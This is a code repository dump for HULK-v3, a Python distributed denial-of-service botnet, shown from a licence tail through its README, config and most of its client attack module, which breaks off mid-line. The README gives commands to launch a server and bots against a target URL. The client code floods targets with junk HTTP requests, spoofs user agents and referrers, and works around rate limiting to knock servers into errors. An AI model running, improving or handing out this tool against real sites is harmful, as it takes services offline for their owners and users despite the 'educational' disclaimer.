directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | ![Hulk_Banner](/assets/Hulk_banner.png) 24 | 25 | ![Python Version](https://img.shields.io/badge/python-3.8+-blue?style=for-the-badge) 26 | ![License](https://img.shields.io/badge/License-GNU-green?style=for-the-badge) 27 | ![Build and Package](https://img.shields.io/github/workflow/status/Hyperclaw79/HULK-v3/Build%20and%20Package/async?style=for-the-badge) 28 | ![Codacy branch grade](https://img.shields.io/codacy/grade/c4f7560e8231423691d819129c7b3afa/async?style=for-the-badge) 29 | 30 | 31 | ## ⚠️ Disclaimer 32 | 33 | | **Hulk is meant for educational and research purposes only.
Any malicious usage of this tool is prohibited.
The authors must not to be held responsible for any consequences from the usage of this tool.** | 34 | | :--- | 35 | 36 | 37 | ## Introducing **HULK-v3** :robot: 38 | 39 | | :information_source: | **Hulk** is a *Distributed Denial of Service* tool that can put heavy load on HTTPS servers, in order to bring them to their knees, by exhausting the resource pool. | 40 | | :---: | :--- | 41 | 42 | ### Check out Hulk in Action 43 | 44 | **GUI :desktop_computer:** 45 | ![Hulk_demo](/assets/Hulk_demo.gif) 46 | 47 | **Server :computer:** 48 | ![Hulk_server](/assets/Hulk_server.png) 49 | **Client/Bot :space_invader:** 50 | ![Hulk_client](/assets/Hulk_client.png) 51 | 52 | :green_circle: To get started, expand the sections below to read about them. 53 | 54 | 55 | ## Changelog :page_with_curl: 56 | You can refer the Changelog [here](/CHANGELOG.md). 57 | 58 | 59 |

Usage :book:

60 | 61 | 1. Run `pip install -r requirements_(linux/win).txt` before starting this script. 62 | > Ex: On Windows: `pip install -r requirements_win.txt` 63 | > Ex: On Linux: `pip install -r requirements_linux.txt` 64 | 65 | 2. Launch the `hulk_launcher.py server` with the target website as arg. 66 | > Ex: `python hulk_launcher.py server https://testdummysite.com` 67 | > 68 | > Append `--persistent False` to kill the botnet after a succesfull DDoS. 69 | > 70 | > Append `--gui` if you are running the GUI in parallel. 71 | 72 | 3. Launch the `hulk_launcher.py client` to spawn multiple processes of hulk - one per CPU Core. 73 | > Ex: `python hulk_launcher.py client [localhost]` 74 | > 75 | > If the server is running remotely, replace localhost with the server's IP. 76 | 77 | 4. To run the GUI, you need to: 78 | * Install `NodeJS`, change to `gui` directory and use `npm install`. 79 | * Launch the GUI with `npm run dev`. 80 | 81 | 5. Sit back and sip your coffee while the carnage unleashes! 😈 82 | 83 | *(P.S. Do not run the binaries (except `hulk_gui`) directly, use them from command line like shown above without using `python`.)* 84 | 85 |
86 | 87 | 88 |

Syntax Help :scroll:

89 | 90 | ### Server :computer: 91 | ```py 92 | usage: hulk_launcher.py server [-h] [-p PORT] [-m MAX_MISSILES] [--persistent] [--gui] target 93 | 94 | The Hulk Server Launcher 95 | 96 | positional arguments: 97 | target the target url. 98 | 99 | options: 100 | -h, --help show this help message 101 | -p PORT, --port PORT the Port to bind the server to. 102 | -m MAX_MISSILES, --max_missiles MAX_MISSILES 103 | the maximum number of missiles to connect to. 104 | --persistent keep attacking even after target goes down. 105 | --gui run on the GUI mode. 106 | ``` 107 | 108 | ### Client :space_invader: 109 | ```py 110 | usage: hulk_launcher.py client [-h] [-r ROOT_IP] [-p ROOT_PORT] [-n NUM_PROCESSES] [-s] 111 | 112 | The Hulk Bot Launcher 113 | 114 | options: 115 | -h, --help show this help message 116 | -r ROOT_IP, --root_ip ROOT_IP 117 | IPv4 Address where Hulk Server is running. 118 | -p ROOT_PORT, --root_port ROOT_PORT 119 | Port where Hulk Server is running. 120 | -n NUM_PROCESSES, --num_processes NUM_PROCESSES 121 | Number of Processes to launch. 122 | -s, --stealth Stealth mode. 123 | ``` 124 | 125 |
126 | 127 | 128 |

Architecture :gear:

129 | 130 | | :warning: The intention of Hulk is to demonstrate the damage that a DDoS attack can do to a server if unprotected. | 131 | | :--- | 132 | | :bulb: Please go through the code for full details. I'm keeping it well documented and request the contributors to do so too. | 133 | 134 | Hulk consists of 2 major and 1 optional components: 135 | - Server 136 | - Client 137 | - [Gui] 138 | 139 |

140 | 141 | ![Hulk_architecture](/assets/Hulk_architecture.svg) 142 | 143 |

144 | 145 | **Client :space_invader:** 146 | 147 | > The core part of Hulk is the `Hulk client` aka `Hulk.py`. \ 148 | This client\bot launches a barrage of `asynchronous HTTP requests` to the target server. \ 149 | These incoming requests, put a burden on the target and makes it slow to respond. \ 150 | With the launcher script, we can launch multiple instances of Hulk using `multi-threading`. \ 151 | The target will be hit with so many requests that it will ultimately break into a `500 error`. \ 152 | Usually, the client completes 500 attacks and sends back the list of status messages. \ 153 | In case of special events, the client will immediately send an Interrupt message to the server. \ 154 | Example Special Events: *Successful DDoS*, *404 Target Not Found*, etc. 155 | 156 | **Server :computer:** 157 | 158 | > Hulk was originally a single instanced DoS script. However, it has been modified to be run as multiple instances. \ 159 | The cluster of many such instances is called a `botnet`. And this botnet can be controlled and monitored by the `Server`. \ 160 | The `Server` and `Client` communicate with each other through TCP `WebSockets`. 161 | Based on the settings, this is usally a persistent bidirectional channel. \ 162 | In case the server receives `Interrupts` from a client, it will send out a broadcast message to all the clients, asking them to stop the attacks. \ 163 | The clients go to Standby mode and await further instructions from the server. 164 | > 165 | > The server can also send information to the GUI to keep a track of the botnet. \ 166 | This information is sent via Unix\Windows `Named Pipes` for low latency `IPC`. 167 | 168 | **GUI :desktop_computer:** 169 | 170 | > The GUI is a `NextJS` web application that is used to monitor the botnet via Named Pipes. \ 171 | When run as a binary, GUI makes use of `Electron` which exposes the information directly to the Frontend. \ 172 | When run as a Node process, a node server listens to the Named Pipe and passes on the information to a HTTP Streaming API. \ 173 | Then the frontend will pick it up from the API using `EventSource`. 174 | 175 |
176 | 177 | 178 |

Acknowledgements :busts_in_silhouette:

179 | 180 | ### Authors :writing_hand: 181 | | Name | Version | 182 | |--------------------|---------| 183 | | **Hyperclaw79** | 2.0+ | 184 | | **Barry Shteiman** | 1.0 | 185 | 186 | ### Contributors :handshake: 187 | Thanks for contributing to the repo. Follow the [Contribution Guide](/.github/CONTRIBUTING.md) and open a PR. 188 | 189 | | Contributor | Contribution | 190 | | :--: | :--: | 191 | | [Nexuzzzz](https://github.com/Nexuzzzz) | Fixed typo in the code | 192 | 193 |
194 | 195 | 196 |

License :page_facing_up:

197 | 198 | HULK v3 is a Python 3 compatible Asynchronous Distributed Denial of Service Script.\ 199 | [Original script](http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/) was created by Barry Shteiman. 200 | You can use that one if you have Python 2. 201 | 202 | Using a [GNU license](/LICENSE) cause there was no mention about any license used by Barry. 203 | Feel free to modify and share it, but leave some credits to us both and don't hold us liable. 204 | 205 |
206 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | # Site Settings 2 | title: Hulk-v3 3 | author: Hyperclaw79 4 | description: Asynchronous HTTP Botnet for Distributed Denial of Service (DDoS) 5 | url: https://hyperclaw79.github.io/HULK-v3 6 | # Build Settings 7 | theme: jekyll-theme-hacker 8 | markdown: GFM 9 | plugins: 10 | - jekyll-seo-tag 11 | - jemoji 12 | -------------------------------------------------------------------------------- /assets/Hulk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/assets/Hulk.png -------------------------------------------------------------------------------- /assets/Hulk_banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/assets/Hulk_banner.png -------------------------------------------------------------------------------- /assets/Hulk_client.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/assets/Hulk_client.png -------------------------------------------------------------------------------- /assets/Hulk_demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/assets/Hulk_demo.gif -------------------------------------------------------------------------------- /assets/Hulk_server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hyperclaw79/HULK-v3/67745c1a2eecccbc19663f2938d8132e056ea240/assets/Hulk_server.png -------------------------------------------------------------------------------- /assets/css/style.scss: -------------------------------------------------------------------------------- 1 | --- 2 | --- 3 | 4 | @import "{{ site.theme }}"; 5 | 6 | details summary { 7 | cursor: pointer; 8 | } 9 | 10 | details summary > * { 11 | display: inline; 12 | } -------------------------------------------------------------------------------- /client/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | HULK v3 3 | """ 4 | -------------------------------------------------------------------------------- /client/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Hulk v3 5 | 6 | This module contains the Enums used in Hulk. 7 | """ 8 | 9 | # pylint: disable=duplicate-code 10 | from enum import IntEnum 11 | 12 | 13 | class ServerCommands(IntEnum): 14 | """ 15 | The different commands sent by Hulk Server. 16 | """ 17 | #: Kill the Bot. 18 | TERMINATE: int = -1 19 | #: Stop the attack and go to standby. 20 | STOP: int = 0 21 | #: Please perform a read to get the target address. 22 | READ_TARGET: int = 1 23 | 24 | 25 | class ClientCommands(IntEnum): 26 | """ 27 | The different commands sent by Hulk Client. 28 | """ 29 | #: Something went wrong. 30 | ERROR: int = -2 31 | #: Bot Terminated. 32 | KILLED: int = -1 33 | #: Stopped previous attack, on standby. 34 | STANDBY: int = 0 35 | #: Send me the target address. 36 | SEND_TARGET: int = 1 37 | #: Please perform a read to get the status. 38 | READ_STATUS: int = 2 39 | 40 | 41 | class StatusCodes(IntEnum): 42 | """ 43 | The different HTTP error codes. 44 | """ 45 | CONNECTION_FAILURE: int = 69 46 | NO_LUCK: int = 200 47 | ANTI_DDOS: int = 400 48 | FORBIDDEN: int = 403 49 | NOT_FOUND: int = 404 50 | PWNED: int = 500 51 | -------------------------------------------------------------------------------- /client/hulk.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Hulk v3 5 | 6 | The main module of the Hulk v3 which launches the HTTP missiles. 7 | Each process represents a single bot in the botnet. 8 | """ 9 | 10 | from __future__ import annotations 11 | 12 | import argparse 13 | import asyncio 14 | import contextlib 15 | import logging 16 | import platform 17 | import random 18 | import re 19 | import socket 20 | import string 21 | import sys 22 | import threading 23 | from typing import TYPE_CHECKING, List, Optional, Tuple 24 | from urllib.parse import urljoin 25 | 26 | import aiohttp 27 | 28 | try: # When running directly. 29 | from enums import ClientCommands, ServerCommands, StatusCodes 30 | except ImportError: # When imported into launcher. 31 | from client.enums import ClientCommands, ServerCommands, StatusCodes 32 | 33 | if TYPE_CHECKING: 34 | from asyncio import Task 35 | 36 | 37 | class CustomFilter(logging.Filter): 38 | """ 39 | Custom filter to add IP and Port to Logs. 40 | """ 41 | 42 | def __init__(self) -> None: 43 | super().__init__() 44 | self._ip = threading.get_native_id() 45 | self._port = -1 46 | 47 | def update_address(self, address: Tuple[str, int]): 48 | """ 49 | Update the IP and Port. 50 | 51 | :param address: The IP and Port. 52 | :type address: Tuple[str, int] 53 | """ 54 | self._ip, self._port = address 55 | 56 | def filter(self, record: logging.LogRecord): 57 | """ 58 | Filter the log record. 59 | 60 | :param record: The log record to filter. 61 | :type record: logging.LogRecord 62 | :return: Whether the record should be filtered. 63 | :rtype: bool 64 | """ 65 | record.ip = self._ip 66 | record.port = self._port 67 | return True 68 | 69 | 70 | LOGGER = logging.getLogger("Hulk_Client") 71 | handler = logging.StreamHandler(sys.stdout) 72 | handler.setFormatter( 73 | logging.Formatter( 74 | fmt="[%(ip)s:%(port)d] %(message)s", 75 | ) 76 | ) 77 | LOGGER.addHandler(handler) 78 | LOGGER.setLevel(logging.INFO) 79 | FILTER = CustomFilter() 80 | LOGGER.addFilter(FILTER) 81 | 82 | 83 | class Missile: 84 | """ 85 | The Missile class which will hammer the target with HTTP requests. 86 | 87 | :param com: The Comms class which is used to communicate with the server. 88 | :type com: :class:`Comms` 89 | :param target: The target URL to attack. 90 | :type target: str 91 | """ 92 | def __init__(self, com: Comms, target: str): 93 | self.comms = com 94 | self.url = target 95 | self.host = urljoin(self.url, '/') 96 | self.method = "post" 97 | self.count = 0 98 | 99 | @staticmethod 100 | def generate_junk(size: int) -> str: 101 | """ 102 | Generate random junk data. 103 | 104 | :param size: The size of the junk data. 105 | :type size: int 106 | :return: The random junk data. 107 | :rtype: str 108 | """ 109 | return ''.join( 110 | random.choices( 111 | string.ascii_letters + string.digits, 112 | k=random.randint(3, size) 113 | ) 114 | ) 115 | 116 | async def _launch(self, session: aiohttp.ClientSession) -> int: 117 | """ 118 | Launch a single HTTP request and return the response. 119 | 120 | :param session: The session to use for the request. 121 | :type session: :class:`aiohttp.ClientSession` 122 | :return: The response status code. 123 | :rtype: int 124 | """ 125 | self.count += 1 126 | FILTER.update_address(self.comms.address) 127 | LOGGER.info( 128 | "Launching attack no. %d on %s", 129 | self.count, self.url.split('?')[0] 130 | ) 131 | headers, payload = self._get_payload() 132 | try: 133 | async with session.request( 134 | method=self.method, 135 | url=self.url, 136 | headers=headers, 137 | json=payload 138 | ) as resp: 139 | status = resp.status 140 | reason = resp.reason 141 | if any([ 142 | resp.headers.get('server', '').lower() == "cloudflare", 143 | status == 400 144 | ]): 145 | FILTER.update_address(self.comms.address) 146 | LOGGER.error('\nUrl has DDoS protection.') 147 | self.comms.send(StatusCodes.ANTI_DDOS) 148 | elif status == 403: 149 | FILTER.update_address(self.comms.address) 150 | LOGGER.error( 151 | '\nUrl is protected. Please retry with another url.' 152 | ) 153 | self.comms.send(StatusCodes.FORBIDDEN) 154 | elif status == 404: 155 | FILTER.update_address(self.comms.address) 156 | LOGGER.error( 157 | '\nUrl not found. Please retry with another url.' 158 | ) 159 | elif status == 405: 160 | self.method = "get" 161 | elif status == 429: 162 | FILTER.update_address(self.comms.address) 163 | LOGGER.warning( 164 | '\nToo many requests detected. Slowing down a bit.' 165 | ) 166 | await asyncio.sleep(random.uniform(5.0, 7.5)) 167 | elif status >= 500: 168 | FILTER.update_address(self.comms.address) 169 | LOGGER.info("Successfully DoSed %s!", self.url) 170 | self.comms.send(StatusCodes.PWNED) 171 | elif status >= 400: 172 | FILTER.update_address(self.comms.address) 173 | LOGGER.warning( 174 | "\nUnknown status code detected.\n%d\n%s", 175 | status, reason 176 | ) 177 | return status 178 | except aiohttp.ClientConnectorError: 179 | return 69 180 | 181 | def _get_payload(self) -> Tuple[dict, dict]: 182 | """ 183 | Generate the payload for the HTTP request. 184 | 185 | :return: The headers and payload for the HTTP request. 186 | :rtype: Tuple[dict, dict] 187 | """ 188 | ua_list = [ 189 | 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)' 190 | 'Gecko/20090913 Firefox/3.5.3', 191 | 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)' 192 | 'Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 193 | 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)' 194 | 'Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 195 | 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)' 196 | 'Gecko/20090718 Firefox/3.5.1', 197 | 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)' 198 | 'AppleWebKit/532.1 (KHTML, like Gecko)' 199 | 'Chrome/4.0.219.6 Safari/532.1', 200 | 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64;' 201 | 'Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 202 | 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;' 203 | 'Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322;' 204 | '.NET CLR 3.5.30729; .NET CLR 3.0.30729)', 205 | 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;' 206 | 'Win64; x64; Trident/4.0)', 207 | 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;' 208 | 'SV1; .NET CLR 2.0.50727; InfoPath.2)', 209 | 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 210 | 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)', 211 | 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51' 212 | ] 213 | referrer_list = [ 214 | 'https://www.google.com/?q=', 215 | 'https://www.usatoday.com/search/results?q=', 216 | 'https://engadget.search.aol.com/search?q=', 217 | 'https://cloudfare.com', 218 | 'https://github.com', 219 | 'https://en.wikipedia.org', 220 | 'https://youtu.be', 221 | 'https://mozilla.org', 222 | 'https://microsoft.com', 223 | 'https://wordpress.org', 224 | self.host 225 | ] 226 | headers = { 227 | 'Cache-Control': 'no-cache', 228 | 'Accept': 'text/html,application/xhtml+xml,application/xml;' 229 | 'q=0.9,image/webp,image/apng,*/*;q=0.8', 230 | 'Accept-Encoding': 'gzip, deflate, br', 231 | 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 232 | 'Content-Encoding': 'deflate', 233 | 'Connection': 'keep-alive', 234 | 'Content-Type': 'application/json', 235 | 'Keep-Alive': str(random.randint(110, 120)), 236 | 'User-Agent': random.choice(ua_list), 237 | 'Referer': random.choice(referrer_list), 238 | } 239 | payload = { 240 | self.generate_junk( 241 | random.randint(5, 10) 242 | ): self.generate_junk( 243 | random.randint(500, 1000) 244 | ) 245 | } 246 | return headers, payload 247 | 248 | async def attack(self, count: int): 249 | """ 250 | Launch the attack. 251 | 252 | :param count: The number of requests to launch. 253 | :type count: int 254 | """ 255 | async with aiohttp.ClientSession( 256 | connector=aiohttp.TCPConnector(limit=0), 257 | ) as session: 258 | tasks = [ 259 | asyncio.create_task(self._launch(session)) 260 | for _ in range(count) 261 | ] 262 | status_list = set(await asyncio.gather(*tasks)) 263 | if all( 264 | status < 500 and status not in (403, 404, 69) 265 | for status in status_list 266 | ): 267 | FILTER.update_address(self.comms.address) 268 | LOGGER.info( 269 | "Finished Performing %d attacks " 270 | "but the target 